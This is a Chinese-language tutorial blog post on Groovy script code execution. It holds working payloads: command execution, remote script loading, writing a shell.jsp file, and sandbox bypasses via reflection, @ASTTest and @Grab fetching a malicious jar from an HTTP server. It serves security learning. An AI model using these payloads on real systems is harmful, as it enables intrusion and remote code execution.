Groovy脚本执行
前言
在审计一套源码的时候,mt告诉我的漏洞中,有一个从来没见过没听过的漏洞 —— Groovy脚本执行,今天简单看一下吧
导入依赖如下:
1 2 3 4 5
| <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.7</version> </dependency>
|
Groovy命令执行
Groovy 是一种基于 Java 平台的面向对象编程语言
直接执行
Groovy脚本允许在脚本中执行系统命令
1 2 3
| "calc".execute() Runtime.getRuntime().exec("calc") "${'calc'.execute()}"
|
想要回显执行命令的结果,用.text
来接受回显,println
来输出回显
1 2
| println 'whoami'.execute().text println "${'whoami'.execute().text}"
|
MethodClosure执行
MethodClosure允许将方法封装成闭包,便于执行
有两种方式:
使用Runtime.getRuntime.exec()
1 2
| MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec"); mc.call("calc");
|
直接执行字符串命令
1 2
| MethodClosure mc = new MethodClosure("calc", "execute"); mc.call();
|
Java中执行Groovy脚本
在Java中有多种方式可以执行Groovy脚本
GroovyShell
GroovyShell 类用于执行 Groovy 脚本,支持多种数据源
字符串执行
1 2 3
| GroovyShell groovyShell = new GroovyShell(); String cmd = "\"whoami\".execute().text"; System.out.println(groovyShell.evaluate(cmd));
|
文件执行
1 2 3
| GroovyShell groovyShell = new GroovyShell(); File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy"); System.out.println(groovyShell.evaluate(file));
|
远程URL执行
1 2 3
| GroovyShell groovyShell = new GroovyShell(); URI uri = new URI("http://127.0.0.1:8888/exp.groovy"); System.out.println(groovyShell.evaluate(uri));
|
GroovyScripteEngine
GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本
本地文件加载脚本
1 2
| GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy"); scriptEngine.run("TestGroovyScript.groovy", "");
|
远程URL加载脚本
1 2
| GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/"); scriptEngine.run("exp.groovy", "");
|
GroovyScriptEvaluator
使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource
使用StaticScriptEvaluator
1 2 3
| GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator(); ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text"); System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
|
使用ResourceScript
1 2 3
| Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy"); ScriptSource source = new ResourceScriptSource(urlResource); System.out.println(groovyScriptEvaluator.evaluate(source));
|
GroovyClassLoader
GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类
1 2 3 4 5 6 7 8 9 10
| GroovyClassLoader classLoader = new GroovyClassLoader(); Class clazz = classLoader.parseClass("class Test {\n" + " static void main(String[] args) {\n" + " GroovyShell groovyShell = new GroovyShell();\n" + " String cmd = \"\\\"whoami\\\".execute().text\";\n" + " println(groovyShell.evaluate(cmd).toString());\n" + " }\n" + "}"); GroovyObject object = (GroovyObject) clazz.newInstance(); object.invokeMethod("main", "");
|
ScriptEngine
使用 javax.script.ScriptEngine 执行 Groovy 脚本
1 2
| ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy"); System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
|
其他利用方式
文件读取
1
| text=newFile("C:\\Windows\\system.ini").eachLine{printlnit;}
|
文件写入
1
| newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('HelloAl1ex');
|
绕过沙箱
有些情况下,会使用groovy沙箱机制保护敏感脚本的执行,在一些情况下可以绕过
1 2 3 4 5
| <dependency> <groupId>org.kohsuke</groupId> <artifactId>groovy-sandbox</artifactId> <version>1.6</version> </dependency>
|
Java反射Bypass
有些情况在沙箱中,通过匹配调用方法来进行拦截,那么通过反射调用,即可绕过拦截
1 2 3 4 5 6 7 8
| "xxx.forName("java.lang.Runtime").getRuntime().exec("id").getText() //拼接反射调用 import java.lang.reflect.Method; Class<?>rt=Class.forName("java.lan"+"g.Run"+"time"); Methodgr=rt.getMethod("getRun"+"time"); Methodex=rt.getMethod("exe"+"c",String.class); ex.invoke(gr.invoke(null),"cal"+"c")
|
@AST注解执行恶意类
利用AST注解能够执行断言从而实现代码执行,同时可以利用该方式Bypass沙箱
1
| this.class.classLoader.parseClass('''@groovy.transform.ASTTest(value={assertRuntime.getRuntime().exec("calc")})defx''');
|
@Grab注解加载远程恶意类
Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖,那么我们也可以使用这个特性,动态引入恶意代码,从而导致RCE
如果使用这种方式绕过沙箱,那么要求对方服务器存在ivy
依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.ivy</groupId> <artifactId>ivy</artifactId> <version>2.4.0</version> </dependency>
|
然后我们需要编写一个恶意的EXP类,执行我们的恶意代码,并打包为jar包
1 2 3 4 5 6 7
| #编译 javac Exp.java #创建服务提供者配置文件 mkdir -p META-INF/services/ echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners #打包jar包 jar cvf poc-0.jar Exp.class META-INF
|
1 2 3 4 5 6 7
| public class Exp { public Exp() { try { java.lang.Runtime.getRuntime().exec("calc"); } catch (Exception e) { } } }
|
然后使用将jar包上传到服务器,使用Python开启一个http服务
1
| python3 -m http.server 8000
|
通过上面任意一种方式,执行以下groovy脚本
在执行该groovy脚本时,会从远程地址加载恶意jar包并加载,实例化我们的恶意类,从而执行系统命令RCE
1 2 3 4 5 6
| this.class.classLoader.parseClass(''' @GrabConfig(disableChecksums=true) @GrabResolver(name='Exp', root='http://127.0.0.1:8000/') @Grab(group='test', module='poc', version='0') import Exp; ''')
|